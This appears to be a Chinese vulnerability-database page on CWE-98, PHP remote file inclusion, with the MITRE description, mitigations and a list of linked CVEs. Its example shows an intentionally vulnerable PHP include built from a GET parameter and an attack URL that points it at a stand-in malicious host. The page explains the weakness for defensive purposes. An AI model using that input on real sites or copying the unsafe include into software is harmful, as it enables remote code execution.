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CWE-98 PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含) 类漏洞列表 1210

CWE-98 PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含) 类弱点 1210 条 CVE 漏洞汇总，含 AI 中文分析。

CWE-98是PHP远程文件包含漏洞，源于程序未严格限制包含语句中的文件名输入。攻击者常通过构造恶意URL，诱导服务器加载并执行远程恶意代码，从而获取系统控制权。开发者应避免直接使用用户输入作为包含路径，需实施严格的白名单校验，禁用远程文件包含功能，并确保输入经过充分净化，以阻断此类攻击路径。

MITRE CWE 官方描述
CWE：CWE-98 PHP程序中包含/要求语句的文件名控制不当（'PHP远程文件包含'） 英文：PHP应用程序从上游组件接收输入，但在将其用于“require”、“include”或类似函数之前，未对输入进行限制或限制不正确。 在某些版本的PHP及其配置中，这允许攻击者指定一个指向远程位置的URL，产品将从该位置获取要执行的代码。在其他与路径遍历相关的情况下，攻击者可以指定一个可能包含可由PHP解析的可执行语句的本地文件。
常见影响 (1)
Integrity, Confidentiality, AvailabilityExecute Unauthorized Code or Commands
The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the f…
缓解措施 (5)
Architecture and DesignUse a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Architecture and DesignWhen the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Architecture and DesignFor any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design, OperationRun the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For ex…
Effectiveness: Limited
Architecture and Design, OperationRun your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database ad…
代码示例 (1)
The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.
$dir = $_GET['module_name']; include($dir . "/function.php");
Bad · PHP
victim.php?module_name=http://malicious.example.com
Attack
CVE ID标题CVSS风险等级Published
CVE-2021-29113 ArcGIS Server 代码注入漏洞 — ArcGIS Server 4.7 -2021-12-07
CVE-2021-22968 PortlandLabs Concrete CMS 代码问题漏洞 — https://github.com/concrete5/concrete5 7.2 -2021-11-19
CVE-2021-21804 Advantech R-SeeNet 安全漏洞 — Advantech 9.8 -2021-07-16
CVE-2020-13175 Teradici Cloud Access Connector和Cloud Access Connector Legacy 安全漏洞 — - Cloud Access Connector - Cloud Access Connector Legacy 7.5 -2020-08-11
CVE-2020-5295 October CMS 安全漏洞 — october 4.8 Medium2020-06-03
CVE-2019-5479 larvitbase-api 注入漏洞 — larvitbase-api 7.5 -2019-09-03
CVE-2014-9186 Honeywell International Experion PKS 输入验证错误漏洞 — Experion PKS 9.8 -2019-04-08
CVE-2015-6461 Schneider Electric Modicon M340 PLC Station P34模块安全漏洞 — Schneider Electric Modicon PLC 6.4 -2019-03-21
CVE-2016-6565 WordPress Imagely NextGen Gallery插件输入验证漏洞 — NextGen Gallery plugin 8.8 -2018-07-13
CVE-2017-14095 Trend Micro Smart Protection Server(Standalone) 安全漏洞 — Trend Micro Smart Protection Server (Standalone) 7.4 -2018-01-19

CWE-98（PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)） 是常见的弱点类别，本平台收录该类弱点关联的 1210 条 CVE 漏洞。